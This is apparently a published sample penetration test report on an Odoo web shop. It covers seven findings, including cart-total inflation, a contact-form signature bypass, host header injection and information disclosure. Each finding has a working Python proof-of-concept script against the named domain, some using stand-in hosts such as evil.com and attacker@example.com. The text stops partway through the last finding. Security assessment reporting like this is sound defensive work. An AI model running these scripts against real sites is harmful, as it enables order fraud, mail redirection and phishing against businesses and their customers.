Security Arsenal, LLC
5752 Grandscape Blvd Ste 225
The Colony, TX 75056
noc@securityarsenal.com | 972-999-9900
https://securityarsenal.com

PENETRATION TEST REPORT

External Application Security Assessment · https://coolittackle.com

Sample report. This is a real, unedited Security Arsenal penetration test. The target is a business that has since closed, retained deliberately so a genuine report can be published without exposing a client.

TARGET	ASSESSMENT	RESULT	GENERATED
https://coolittackle.com	**Deep / Black-Box**	**7 FINDINGS · 3 HIGH**	**July 15, 2026**

Risk at a Glance

Material risk present.

High-severity issues were confirmed and proven exploitable. These should be scheduled for remediation ahead of routine work.

Executive Summary

The assessment of https://coolittackle.com identified multiple confirmed security issues, with the most critical being the publicly exposed Odoo Database Manager, which reveals the database name and management functions to unauthenticated internet users. Additional high-impact findings include a cart business-logic flaw that allows arbitrary quantity manipulation and inflated totals, and a contact form signature bypass that permits tampering with model names and recipients. Several information-disclosure issues (Odoo version, backend paths, mail autoconfig leakage) and a host header injection vulnerability were also confirmed. Subdomain/email infrastructure was well-protected (SPF/DMARC hard-fail, no subdomain takeover). No exploitable SQL injection, XSS, IDOR, RCE, or SSRF was found in the unauthenticated attack surface. Password brute-forcing was excluded by the user; master password bypass attempts were unsuccessful.

Severity Summary

Critical	High	Medium	Low	Total
0	3	4	0	**7**

Findings Overview

#	ID	Finding	Severity	CVSS
1	`vuln-0001`	Publicly Exposed Odoo Database Manager at /web/database/manager	HIGH	8.6
2	`vuln-0004`	Cart Quantity / Order Total Manipulation via Unvalidated set_qty in /shop/cart/update	HIGH	8.2
3	`vuln-0006`	Contact Form Integrity Control Bypass via Missing website_form_signature Enforcement	HIGH	7.3
4	`vuln-0002`	Odoo JSON-RPC Verbose Traceback Information Disclosure	MEDIUM	5.3
5	`vuln-0003`	Odoo Version Information Disclosure via /web/webclient/version_info	MEDIUM	5.3
6	`vuln-0005`	Host Header Injection in /web/reset_password Allows URL Poisoning and Cache Poisoning	MEDIUM	4.2
7	`vuln-0007`	Mailcow autoconfig exposes backend mail server hostname and admin URL	MEDIUM	5.3

Attack Paths

Individually-scored findings understate real risk. These are the chains an attacker could actually walk using the confirmed findings below.

Path 1 — Order-total manipulation to downstream financial impact

1. **Access** Fetch any public product page. It carries the csrf_token, product_id and product_template_id needed to act on the cart — no account and no authentication required.
2. **Abuse** POST to /shop/cart/update with an arbitrary set_qty. The server accepts the client-supplied quantity with no upper bound, stock check or business-rule validation.
3. **Impact** A $14.95 item becomes a $16,183,358.82 order total, including $1,233,373.77 of calculated tax, and that total is the authoritative value passed onward.

Impact: The cart total is attacker-controlled and is trusted by everything downstream of it — checkout, invoicing, tax calculation, sales reporting, and any ERP or payment integration reading the order. Fraud thresholds and payment-provider limits can be pushed past deliberately.

Chains: vuln-0004

Path 2 — Form integrity bypass to unauthorised model and recipient control

1. **Access** The public contact form at /website/form/ is reachable unauthenticated.
2. **Abuse** The website_form_signature integrity control is not enforced, so model_name and email_to can be altered in the submitted request.
3. **Impact** An unauthenticated visitor influences which backend model a submission writes to and where the resulting notification is delivered.

Impact: Breaks the assumption that form submissions are constrained to the model and recipients the site intends, turning a public form into a controllable write and delivery primitive.

Chains: vuln-0006

Path 3 — Disclosure chain establishing a high-value management target

1. **Recon** /web/webclient/version_info and the JSON-RPC db.list call disclose the exact platform version and the database name to an unauthenticated caller.
2. **Recon** JSON-RPC returns verbose tracebacks that leak absolute server filesystem paths.
3. **Target** /web/database/manager is reachable without authentication and exposes backup, duplicate, drop, restore, create and master-password-change operations.
4. **Impact** The master password held under testing, so this path stops here — but the attacker now knows the version, the database name, the server paths and exactly which endpoint to work on.

Impact: No compromise was achieved on this path, and that is the correct result to report. What it establishes is a precisely-scoped, internet-reachable target for offline password attack or resource exhaustion, with every piece of context an attacker would want already disclosed.

Chains: vuln-0003, vuln-0002, vuln-0001

Methodology

The assessment followed an OWASP WSTG/PTES-aligned black-box approach: subdomain enumeration, port scanning, technology fingerprinting, content discovery, JavaScript analysis, and automated scanning (nuclei, wapiti, dirsearch, katana, gospider). Specialized subagents validated each vulnerability class (database manager exposure, injection, XSS, IDOR, RCE/CVE, business logic, contact form, host header, infrastructure). Findings were confirmed with manual HTTP probes, JSON-RPC/XML-RPC enumeration, and proxy traffic analysis. No destructive actions were performed; password brute-forcing was explicitly avoided per user instruction.

Technical Analysis

The Odoo 17.0 instance exposes several security weaknesses. The `/web/database/manager` endpoint is reachable without authentication and lists the database name `odoo`; JSON-RPC `db.list` and `/web/webclient/version_info` also disclose this information. While the master password could not be guessed or bypassed via parameter pollution, method tampering, or missing fields, the exposed UI remains a critical misconfiguration. The JSON-RPC endpoint returns verbose Python tracebacks, leaking absolute filesystem paths (`/opt/odoo/odoo/...`). The contact form at `/website/form/` does not enforce the `website_form_signature` integrity control, allowing unauthenticated modification of `model_name` and `email_to`. The cart update endpoint accepts arbitrary client-controlled `set_qty`

values, enabling cart total inflation (e.g., $14.95 → ~$16M). Host header injection was confirmed on `/web/reset_password` and other pages, with attacker-controlled host values reflected in absolute URLs and meta tags. Infrastructure review showed hard-fail SPF/DMARC and no subdomain takeover, but autoconfig endpoints leak the backend mail server details. No exploitable SQL injection, XSS, IDOR, RCE, or SSRF was confirmed in the unauthenticated surface.

1. Publicly Exposed Odoo Database Manager at /web/database/manager

HIGH

Finding ID	vuln-0001	**Severity**	HIGH (CVSS 8.6)
Weakness	CWE-200	**Method**	GET
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L`		
Target	https://coolittackle.com		
Endpoint	`/web/database/manager`		
Fix priority	P1 config change plus a reverse-proxy rule	**Est. effort**	~1 hour

DESCRIPTION

The Odoo Database Manager is publicly reachable at https://coolittackle.com/web/database/manager. An unauthenticated visitor can load the management UI and list the available database ("odoo"). The page renders forms for backup, duplicate, drop, restore, create, and master password change operations. Backup/duplicate/drop tests with a blank or missing master password return "Access Denied" (HTTP 200), which confirms that the backend management endpoints are wired and reachable from the internet. JSON-RPC and XML-RPC endpoints also expose the Odoo version (17.0) and database list. No password brute-force was attempted beyond the requested safe verification; all bypass tests (parameter pollution, missing/empty master_pwd, method tampering, content-type switching) failed and the master password is currently enforced, but leaving the database manager publicly exposed still leaks sensitive configuration information and presents a high-value brute-force/DoS target for database destruction.

IMPACT

An attacker can enumerate the database name and Odoo version, then attempt to guess the master password, or trigger resource-intensive operations. If the master password is ever guessed or bypassed, the attacker could download a full backup (exfiltration of all business data), drop/restore/duplicate databases, or change the master password to lock out legitimate administrators. Even without full credential compromise, the exposed interface is a clear production misconfiguration that increases attack surface and violates defense-in-depth.

TECHNICAL ANALYSIS

The target runs Odoo 17.0 with the Database Manager publicly enabled. A GET request to `/web/database/manager` returns a 200 OK HTML page containing the available database name `odoo` and interactive forms for backup, duplicate, delete, create, restore, and master password change. All management forms post to `/web/database/{backup,duplicate,drop,create,restore,change_password}`. Submitting a backup request with an empty master password returns HTTP 200 and an HTML alert "Database backup error: Access Denied", which demonstrates the management backend is active and reachable without any session or authentication cookie. Parameter pollution, method tampering (GET, _method, X-HTTP-Method-Override), and JSON body substitution

were tested against the backup/duplicate/drop/create endpoints and were all blocked by the master password check, so no bypass was identified. However, the interface itself remains exposed to the internet, which is a documented production misconfiguration in Odoo deployments. Additional JSON-RPC/XML-RPC endpoints leak the exact Odoo version and database list, confirming the information disclosure risk.

PROOF OF CONCEPT

1. Open a private/incognito browser with no authentication cookies. 2. Navigate to https://coolittackle.com/web/database/manager. 3. Observe the page loads with HTTP 200 and displays a list containing the "odoo" database. 4. Click Backup/Duplicate/Delete; each modal contains a master password field. 5. Intercept the POST to /web/database/backup with an empty master_pwd and name=odoo; the response returns HTTP 200 with the body containing "Database backup error: Access Denied". 6. POST to /jsonrpc with body {"jsonrpc":"2.0","method":"call","params":{},"id":1} (or call /xmlrpc/2/common) to retrieve the server version 17.0 and database list.

```
import requests
requests.packages.urllib3.disable_warnings()

BASE = 'https://coolittackle.com'
DB = 'odoo'

def alert(text):
    import re
    m = re.search(r'<div[^>]*class="[^"]*alert[^"]*"[^>]*>(.*?)</div>', text, re.S|re.I)
    return re.sub(r'<[^>]+>', '', m.group(1).strip() if m else 'NONE')

# 1. Public UI exposure and database enumeration
r = requests.get(f'{BASE}/web/database/manager', timeout=20, verify=False)
assert r.status_code == 200 and DB in r.text
print(f'UI exposed: {r.status_code}, database "{DB}" disclosed')

# 2. Management endpoint is reachable (no authentication required to reach it)
r = requests.post(f'{BASE}/web/database/backup', data={'master_pwd': '', 'name': DB}, timeout=20,
verify=False)
assert r.status_code == 200 and 'Access Denied' in alert(r.text)
print(f'Backup endpoint active without auth: {r.status_code} -> {alert(r.text)}')

# 3. Odoo version disclosure via JSON-RPC
r = requests.post(f'{BASE}/jsonrpc', json={'jsonrpc':'2.0','method':'call','params':{},'id':1},
timeout=20, verify=False)
print(f'JSON-RPC version: {r.status_code} {r.text[:300]}')
```

REMEDIATION

1. Disable public access to the Odoo Database Manager. Set `list_db = False` in the Odoo configuration file (odoo.conf) and remove or restrict the `dbfilter`/`db_name` exposure. 2. Block access to `/web/database/manager`, `/web/database/selector`, `/jsonrpc`, `/xmlrpc/2/common` and related management endpoints at the reverse proxy (nginx) unless the source IP is a trusted administrative host. 3. Ensure the Odoo master password is long and unique, stored in a password manager, and rotated. 4. Consider enabling `proxy_mode` and enforcing rate limiting / Web Application Firewall rules on the management endpoints. 5. Remove the database manager from production deployments entirely if not required.

2. Cart Quantity / Order Total Manipulation via Unvalidated set_qty in /shop/cart/update

HIGH

Finding ID	vuln-0004	**Severity**	HIGH (CVSS 8.2)
Weakness	CWE-807	**Method**	POST
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L`		
Target	https://coolittackle.com		
Endpoint	`/shop/cart/update`		
Fix priority	P1 server-side validation in the cart controller	**Est. effort**	~1 day

DESCRIPTION

While validating the /shop/cart/update endpoint on https://coolittackle.com, I confirmed that an unauthenticated visitor can submit an arbitrary set_qty parameter for any product. The server accepts the client-supplied quantity, updates the cart line, and recalculates subtotal, tax, and order total without any upper-bound, stock, or business-rule validation. A $14.95 product can be inflated to a $16,183,358.82 cart total by sending set_qty=999999. Fractional and non-numeric values are also accepted (parsed or coerced), and negative quantities remove the line rather than producing a negative balance, so the primary impact is order-total manipulation and potential downstream abuse (e.g., invoice amount distortion, fraud checks, or integration with payment/ERP systems).

IMPACT

An attacker can craft a cart with an arbitrarily large total for a low-value item. This undermines pricing integrity, can distort sales reports, tax calculations, and any downstream checkout/ERP/payment processing that trusts the cart total. It may also be used to bypass fraud thresholds, trigger payment-provider limits, or manipulate inventory/order records. Integrity impact is high because the authoritative cart total is attacker-controlled; availability impact is low because extremely large values may cause downstream processing failures or invoice generation errors.

TECHNICAL ANALYSIS

The /shop/cart/update endpoint accepts a POST form with csrf_token, product_id, product_template_id, and set_qty. The server does not validate that set_qty is within a sensible range, is a positive integer, or corresponds to stock availability. When set_qty=999999 is sent, the cart page at /shop/cart displays a subtotal of $14,949,985.05, taxes of $1,233,373.77, and a total of $16,183,358.82 for a product priced at $14.95. The same behavior occurs with fractional input (1.5) and oversized values, indicating the quantity is parsed from the request and used directly in monetary calculations. No session or authentication is required beyond the CSRF token, which is publicly included on the product page.

PROOF OF CONCEPT

1. Fetch a product page (e.g., /shop/cool-it-tackle-system-3650-10) to extract csrf_token, product_id, and product_template_id. 2. POST to /shop/cart/update with set_qty=999999 (or any arbitrary value). 3. Visit /shop/cart and observe the cart total has been multiplied by the client-supplied quantity, e.g., $14.95 product becomes $14,949,985.05 subtotal and $16,183,358.82 total including taxes.

```
import asyncio, aiohttp, re

BASE = "https://coolittackle.com"
PRODUCT_URL = "/shop/cool-it-tackle-system-3650-10"
CART_UPDATE = "/shop/cart/update"

async def get_csrf_pid(session):
    async with session.get(BASE + PRODUCT_URL, timeout=aiohttp.ClientTimeout(total=20)) as r:
        text = await r.text()
        csrf = re.search(r'name="csrf_token"[^>]*value="([^"]+)"', text).group(1)
        pid = re.search(r'class="product_id"[^>]*value="([0-9]+)"', text).group(1)
        ptid = re.search(r'class="product_template_id"[^>]*value="([0-9]+)"', text).group(1)
        return csrf, pid, ptid

async def update_cart(session, csrf, pid, ptid, qty):
    data = {"csrf_token": csrf, "product_id": pid, "product_template_id": ptid, "set_qty": str(qty)}
    async with session.post(BASE + CART_UPDATE, data=data, timeout=aiohttp.ClientTimeout(total=25),
allow_redirects=False) as r:
        return r.status

async def cart_totals(session):
    async with session.get(BASE + "/shop/cart", timeout=aiohttp.ClientTimeout(total=20)) as r:
        text = await r.text()
        return re.findall(r'<span class="oe_currency_value">([0-9.,]+)</span>', text)

async def main():
    async with aiohttp.ClientSession() as session:
        csrf, pid, ptid = await get_csrf_pid(session)
        await update_cart(session, csrf, pid, ptid, 1)
        print("qty=1:", await cart_totals(session))
        csrf, pid, ptid = await get_csrf_pid(session)
        await update_cart(session, csrf, pid, ptid, 999999)
        print("qty=999999:", await cart_totals(session))

if __name__ == "__main__":
    asyncio.run(main())
```

REMEDIATION

1. Enforce server-side quantity validation in the cart update controller: reject non-integer or negative values, cap quantities to reasonable per-line and per-order limits, and validate against available stock. 2. Treat quantity as a trusted server-side value, recomputing totals from the validated quantity and the product’s canonical price. 3. Add rate limits and abuse detection on cart quantity changes. 4. Review the checkout flow to ensure payment/invoice generation does not trust client-controlled cart totals without revalidation.

3. Contact Form Integrity Control Bypass via Missing website_form_signature Enforcement

HIGH

Finding ID	vuln-0006	**Severity**	HIGH (CVSS 7.3)
Weakness	CWE-352	**Method**	POST
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L`		
Target	https://coolittackle.com		
Endpoint	`/website/form/`		
Fix priority	P1 enable signature enforcement and whitelist models	**Est. effort**	~2 hours

DESCRIPTION

The website contact form at https://coolittackle.com/website/form/ includes a hidden website_form_signature field that is intended to protect the integrity of form metadata such as model_name and email_to. Testing confirmed that this signature is not enforced. Submitting the form with a missing, wrong, or model-specific signature returns HTTP 200 in every case, the same as a correctly signed submission. As a result, an unauthenticated attacker can alter model_name from the intended mail.mail to any other Odoo model (including res.partner, crm.lead, project.task, or even a nonexistent model) and can override email_to to any arbitrary address. Only the CSRF token is validated; invalid CSRF correctly returns 400 "Session expired".

IMPACT

An attacker can bypass the form's integrity control and attempt to create records in arbitrary Odoo models, enabling mass-assignment-style abuse. The attacker can also redirect contact-form notifications to any email address, which could leak customer inquiries or be used for email spam relay and phishing. If a writable model accepts the supplied fields, this could lead to unauthorized data creation or modification. The issue undermines the intended security boundary around the public contact form.

TECHNICAL ANALYSIS

The /website/form/ endpoint is a standard Odoo website form controller. The contact page renders hidden inputs for model_name (mail.mail), email_to (support@cooltackle.com), and website_form_signature (a 64-character hex string). The signature is intended to be a keyed MAC over the model_name and email_to so that these values cannot be altered by the client. In practice, the server accepts the form regardless of whether the signature is correct, missing, or belongs to a different model. This indicates the signature verification is either disabled, implemented incorrectly, or silently bypassed. Because the endpoint returns HTTP 200 with an empty body for every tested combination, the integrity control provides no effective protection. CSRF validation still functions, but it does not protect against tampering of the form metadata within a valid session.

PROOF OF CONCEPT

1. Visit https://coolittackle.com/contactus and extract the hidden fields: csrf_token, email_to, and website_form_signature.
2. Submit the form normally (model_name=mail.mail) with the correct signature and observe HTTP 200.

3. Submit the form with model_name=mail.mail but a wrong or missing website_form_signature and observe HTTP 200 (signature not enforced).
4. Change model_name to res.partner, crm.lead, project.task, or a nonexistent model such as nonexistent.model.xyz and submit with missing signature — all return HTTP 200.
5. Change email_to to an attacker-controlled address (e.g., attacker@example.com) and submit — response is still HTTP 200.
6. The only enforced check is the CSRF token; omitting or altering it returns 400 "Session expired (invalid CSRF token)". PoC script: python3 /workspace/scratch/poc_contact_form_signature_bypass.py

```
import urllib.request, urllib.parse, http.cookiejar, re, ssl, time

BASE = 'https://coolittackle.com'
ctx = ssl.create_default_context()
cj = http.cookiejar.MozillaCookieJar('/workspace/scratch/poc_cookies.txt')
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

def get_form_fields():
    html = opener.open(urllib.request.Request(f'{BASE}/contactus', headers={'User-Agent':'Mozilla/5.0'}),
timeout=20).read().decode('utf-8', 'replace')
    csrf = re.search(r'csrf_token: "([^"]+)"', html).group(1)
    email_to = re.search(r'<input\b[^>]*\bname=["\']email_to["\'][^>]*>', html, re.IGNORECASE).group(0)
    email_to = re.search(r'value=["\']([^"\']+)["\']', email_to).group(1)
    sig_tag = re.search(r'<input\b[^>]*\bname=["\']website_form_signature["\'][^>]*>', html,
re.IGNORECASE).group(0)
    sig = re.search(r'value=["\']([^"\']+)["\']', sig_tag).group(1)
    return csrf, email_to, sig

def submit(model_name, email_to=None, sig_mode='correct'):
    csrf, default_email_to, default_sig = get_form_fields()
    email_to = email_to if email_to is not None else default_email_to
    if sig_mode == 'correct':
        sig = default_sig
    elif sig_mode == 'wrong':
        sig = default_sig[:-1] + ('0' if default_sig[-1] != '0' else '1')
    else:
        sig = None
    data = [
        ('model_name', model_name),
        ('email_to', email_to),
        ('recaptcha_token_response', ''),
        ('csrf_token', csrf),
        ('name', f'PoCName_{int(time.time())}'),
        ('email_from', f'poc-{int(time.time())}@example.com'),
        ('phone', '555-1234'),
        ('company', f'PoCCo_{int(time.time())}'),
        ('subject', f'PoCSubj_{int(time.time())}'),
        ('description', f'PoCBody_{int(time.time())}'),
    ]
    if sig is not None:
        data.append(('website_form_signature', sig))
    body = urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(f'{BASE}/website/form/', data=body, method='POST',
                                 headers={'Content-Type':'application/x-www-form-urlencoded','User-
Agent':'Mozilla/5.0'})
    try:
        r = opener.open(req, timeout=25)
        return r.status, r.read().decode('utf-8', 'replace')[:200]
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', 'replace')[:200]

print('Test 1 - model_name=mail.mail, correct signature:', submit('mail.mail', sig_mode='correct'))
print('Test 2 - model_name=mail.mail, wrong signature:', submit('mail.mail', sig_mode='wrong'))
print('Test 3 - model_name=mail.mail, missing signature:', submit('mail.mail', sig_mode='missing'))
print('Test 4 - model_name=res.partner, correct signature:', submit('res.partner', sig_mode='correct'))
print('Test 5 - model_name=res.partner, missing signature:', submit('res.partner', sig_mode='missing'))
print('Test 6 - model_name=crm.lead, missing signature:', submit('crm.lead', sig_mode='missing'))
print('Test 7 - model_name=nonexistent.model.xyz, missing signature:', submit('nonexistent.model.xyz',
```

```
sig_mode='missing'))
print('Test 8 - model_name=mail.mail, email_to overridden:', submit('mail.mail',
email_to='attacker@example.com', sig_mode='missing'))
```

REMEDIATION

1. Enforce website_form_signature verification on the server side in the /website/form/ controller. Reject submissions where the signature is missing, malformed, or does not match the signed model_name and email_to values.
2. Restrict model_name to an explicit allowlist of models permitted for public website form submissions (e.g., only mail.mail and any other intentionally public models). Reject requests for models outside this list.
3. Validate email_to against a list of allowed recipient addresses or domains, and do not allow arbitrary external addresses from the public form.
4. Return a consistent, non-revealing error response when signature or model validation fails; do not silently accept malformed or suspicious submissions.
5. Review server logs and Odoo records for any prior abuse of this endpoint, including unexpected res.partner, crm.lead, or other model records created from public IP addresses.

4. Odoo JSON-RPC Verbose Traceback Information Disclosure

MEDIUM

Finding ID	vuln-0002	**Severity**	MEDIUM (CVSS 5.3)
Weakness		**Method**	
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`		
Target	https://coolittackle.com		
Endpoint			
Fix priority	P2 disable debug output in production	**Est. effort**	~30 minutes

DESCRIPTION

During targeted Odoo 17.0 validation, the /jsonrpc endpoint was found to return detailed Python tracebacks to unauthenticated callers. A request missing the expected 'service' parameter or calling protected services such as db.dump produces a JSON-RPC error whose 'data.debug' field contains the full server-side traceback, including absolute installation paths such as /opt/odoo/odoo/odoo/http.py and /opt/odoo/odoo/odoo/service/db.py. This is a verbose error-handling configuration leak that exposes the server layout and confirms the application framework/version.

IMPACT

An attacker can use the disclosed file paths and stack frames to infer the exact deployment layout, Odoo source path, and internal call flow, accelerating the development of more precise exploits against the same instance. It also confirms the backend is Odoo 17.0 running from /opt/odoo/odoo, reducing attacker reconnaissance effort.

TECHNICAL ANALYSIS

Odoo's JSON-RPC dispatcher in /opt/odoo/odoo/odoo/controllers/rpc.py and /opt/odoo/odoo/odoo/service/db.py catches exceptions and, when verbose error reporting is enabled, serializes the traceback into error.data.debug. This behaviour is controlled by Odoo's debug/error-verbosity settings and is inappropriate for an Internet-facing production instance. The leaked paths confirm the installation root (/opt/odoo/odoo) and exact Odoo 17.0 code layout.

PROOF OF CONCEPT

1. Send an unauthenticated POST request to https://coolittackle.com/jsonrpc with a JSON-RPC body missing the required 'service' parameter (e.g., calling model/method search_read). 2. The server responds with HTTP 200 and a JSON body containing 'error.data.debug', which includes the full Python traceback. 3. The traceback reveals absolute paths such as /opt/odoo/odoo/odoo/http.py and /opt/odoo/odoo/odoo/service/db.py.

```
import urllib.request, json
payload = {
    "jsonrpc": "2.0",
    "method": "call",
    "params": {
        "model": "ir.attachment",
        "method": "search_read",
        "args": [[], ["id", "name", "datas"]],
        "kwargs": {"limit": 10}
    },
    "id": 1
}
req = urllib.request.Request(
    'https://coolittackle.com/jsonrpc',
    data=json.dumps(payload).encode(),
    headers={'Content-Type': 'application/json'},
    method='POST'
)
with urllib.request.urlopen(req, timeout=20) as r:
    print(r.read().decode('utf-8'))
```

REMEDIATION

1. Set Odoo's logging/error configuration to return minimal error details to anonymous clients; avoid exposing 'debug' tracebacks in JSON-RPC error responses. 2. Enable the 'list_db = False' option and disable verbose error pages in production. 3. Review Odoo server configuration (debug mode, log_level, list_db) and ensure it matches production hardening guidelines. 4. Consider placing the JSON-RPC endpoint behind additional IP allowlisting or WAF rules for unauthenticated access.

5. Odoo Version Information Disclosure via /web/webclient/version_info

MEDIUM

Finding ID	vuln-0003	**Severity**	MEDIUM (CVSS 5.3)
Weakness		**Method**	
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`		
Target	https://coolittackle.com		
Endpoint			
Fix priority	P2 restrict the endpoint to trusted sources	**Est. effort**	~30 minutes

DESCRIPTION

The Odoo RPC endpoint /web/webclient/version_info is accessible without authentication and returns the exact server version, including server_version, server_version_info array, server_serie, and protocol_version. A POST request with an empty JSON body is sufficient to obtain {"server_version": "17.0", "server_version_info": [17, 0, 0, "final", 0, ""], "server_serie": "17.0", "protocol_version": 1}. This exposes the precise software version to remote attackers.

IMPACT

Disclosing the exact Odoo version allows attackers to quickly identify applicable CVEs, public exploits, and version-specific misconfigurations for Odoo 17.0, reducing the effort required to craft targeted attacks. It removes a layer of obscurity that would otherwise slow down adversary reconnaissance.

TECHNICAL ANALYSIS

The /web/webclient/version_info controller is part of the Odoo web client bootstrap and is normally reachable without authentication. In this deployment, the endpoint is exposed to the Internet and returns precise version metadata (17.0 final). This is common default Odoo behaviour but constitutes information disclosure when the instance is publicly reachable and not behind additional access controls.

PROOF OF CONCEPT

1. Send an unauthenticated POST request to https://coolittackle.com/web/webclient/version_info with Content-Type: application/json and an empty body '{}'. 2. The server responds with HTTP 200 and a JSON object containing the exact Odoo version fields.

```
import urllib.request, json
req = urllib.request.Request(
    'https://coolittackle.com/web/webclient/version_info',
    data=b'{}',
    headers={'Content-Type': 'application/json'},
    method='POST'
)
with urllib.request.urlopen(req, timeout=20) as r:
    print(r.read().decode('utf-8'))
```

REMEDIATION

1. Restrict access to /web/webclient/version_info to authenticated users only, or return generic version information for unauthenticated requests. 2. If the endpoint must be public, consider rate-limiting it and logging access. 3. Evaluate whether Odoo is running in a hardened production configuration; disable unnecessary debug/version endpoints from external exposure.

6. Host Header Injection in /web/reset_password Allows URL Poisoning and Cache Poisoning

MEDIUM

Finding ID	vuln-0005	**Severity**	MEDIUM (CVSS 4.2)
Weakness	CWE-807	**Method**	GET
CVSS Vector	`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N`		
Target	https://coolittackle.com		
Endpoint	`/web/reset_password`		
Fix priority	P2 canonical host validation plus Vary/Cache-Control headers	**Est. effort**	~2 hours

DESCRIPTION

The Odoo instance at https://coolittackle.com uses the attacker-controlled Host request header (and X-Forwarded-Host) when generating absolute URLs in the /web/reset_password response. Sending Host: evil.com causes the server to render https://evil.com/... URLs in OpenGraph/Twitter meta tags (og:url, og:image, twitter:image) and in the page's form/action context. The same reflection occurs on POST /web/reset_password. The response also omits Cache-Control and Vary headers, so a downstream cache or CDN can store the poisoned response and serve it to other users. In a password-reset workflow this can be chained to redirect reset tokens or form submissions to an attacker-controlled host.

IMPACT

An attacker can poison the password-reset page so that victims submit reset requests to, or load reset assets from, an attacker-controlled domain. If a victim submits a reset form from a cached/poisoned page, the reset token or subsequent interaction can be exfiltrated to the attacker. Even without token theft, the issue undermines site integrity (defacement of canonical URLs), can be used for phishing, and can poison caches serving the reset page to other users. The confidentiality and integrity impact is limited to the reset flow and page metadata, but the attack is unauthenticated and remotely exploitable.

TECHNICAL ANALYSIS

The /web/reset_password controller renders the page using the Host header from the incoming request to build absolute URLs. When Host: evil.com is supplied, the response HTML contains <meta property="og:url" content="https://evil.com/web/reset_password"> and og:image/twitter:image URLs under https://evil.com. The same behavior occurs with X-Forwarded-Host: evil.com, indicating either the application directly trusts X-Forwarded-Host or the upstream proxy forwards the header as Host. The response does not set Cache-Control or Vary, so a shared cache keyed only on the request path could store the poisoned page and serve it to subsequent visitors. The POST handler also reflects the injected host, confirming that the URL generation is not limited to the initial GET response. The root cause is reliance on an untrusted, client-controlled header (Host/X-Forwarded-Host) to construct security-sensitive absolute URLs in the password-reset flow.

PROOF OF CONCEPT

1. Send GET /web/reset_password with Host: evil.com and observe the response body contains absolute URLs such as https://evil.com/web/reset_password and https://evil.com/web/image/website/1/logo?unique=b514e57. 2. Send

the same request with X-Forwarded-Host: evil.com and observe identical reflection. 3. Send POST /web/reset_password with Host: evil.com and a login parameter; the response still contains the attacker-controlled host in meta tags. 4. Note that the response headers contain no Cache-Control and no Vary, meaning a CDN/proxy in front of the application could cache the poisoned response. 5. The PoC scripts /workspace/scratch/odoo_host_header_poc.py and /workspace/scratch/odoo_password_reset_poison.py automate these requests and highlight the reflected URLs.

```
#!/usr/bin/env python3
import urllib.request, ssl

BASE = "https://coolittackle.com"
CTX = ssl.create_default_context()

def fetch(path, headers=None, method="GET", data=None):
    url = BASE + path
    h = {"User-Agent": "Mozilla/5.0"}
    if headers:
        h.update(headers)
    req = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        resp = urllib.request.urlopen(req, timeout=30, context=CTX)
        return resp.status, dict(resp.headers), resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read().decode("utf-8", "replace")

# 1. Host header reflection on GET /web/reset_password
status, hdrs, body = fetch("/web/reset_password", {"Host": "evil.com"})
print("GET /web/reset_password with Host: evil.com")
print("Status:", status)
print("Cache-Control:", hdrs.get("Cache-Control", "MISSING"))
print("Vary:", hdrs.get("Vary", "MISSING"))
assert "https://evil.com/web/reset_password" in body, "Host not reflected"
assert "https://evil.com/web/image/website/1/logo" in body, "og:image not reflected"
print("[VULNERABLE] Attacker-controlled host reflected in absolute URLs")

# 2. X-Forwarded-Host reflection
status, hdrs, body = fetch("/web/reset_password", {"X-Forwarded-Host": "evil.com"})
print("\nGET /web/reset_password with X-Forwarded-Host: evil.com")
assert "https://evil.com/web/reset_password" in body
print("[VULNERABLE] X-Forwarded-Host reflected")

# 3. POST /web/reset_password retains poisoned host
status, hdrs, body = fetch("/web/reset_password", {"Host": "evil.com"}, method="POST",
data=b"login=test%40example.com")
print("\nPOST /web/reset_password with Host: evil.com")
assert "https://evil.com/" in body
print("[VULNERABLE] Reflected host persists in POST response")
```

REMEDIATION

1. Configure the web.base.url system parameter (or equivalent) to a fixed, trusted value and do not derive canonical URLs from the Host header. 2. Validate the Host header against an explicit allowlist of trusted domains; reject or rewrite requests with unexpected Host values. 3. If X-Forwarded-Host is used behind a reverse proxy, set it only at the trusted edge and ignore or validate it at the application layer. 4. Add Cache-Control: no-store, must-revalidate

and Vary: Host headers to responses that contain Host-derived content so downstream caches cannot serve poisoned responses across users. 5. Use the application's configured SERVER_NAME/base URL instead of request.host_url for generating absolute URLs in forms, meta tags, and redirects. 6. Review all Odoo controllers and website templates that build absolute URLs and ensure they rely on the configured base URL rather than the request Host.

7. Mailcow autoconfig exposes backend mail server hostname and admin URL

MEDIUM

Finding ID	vuln-0007	**Severity**	MEDIUM (CVSS 5.3)
Weakness	CWE-200	**Method**	
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`		
Target	https://coolittackle.com		
Endpoint			
Fix priority	P3 restrict autoconfig endpoints	**Est. effort**	~1 hour

DESCRIPTION

During infrastructure reconnaissance of coolittackle.com, a live Mailcow/SOGo mail stack was discovered on mail.coolittackle.com (and aliases webmail/imap/smtp/autoconfig/autodiscover). The autoconfig endpoint at https://autoconfig.coolittackle.com/mail/config-v1.1.xml returns a Thunderbird/Outlook auto-configuration XML that exposes the backend mail server hostname (mail.vpn2.work), all mail protocols and ports (IMAP 993/143, POP3 995/110, SMTP 465/587), and the administrative URL (https://mail.vpn2.work/admin). This information is returned to any unauthenticated requester and lowers the bar for targeted attacks on the mail infrastructure.

IMPACT

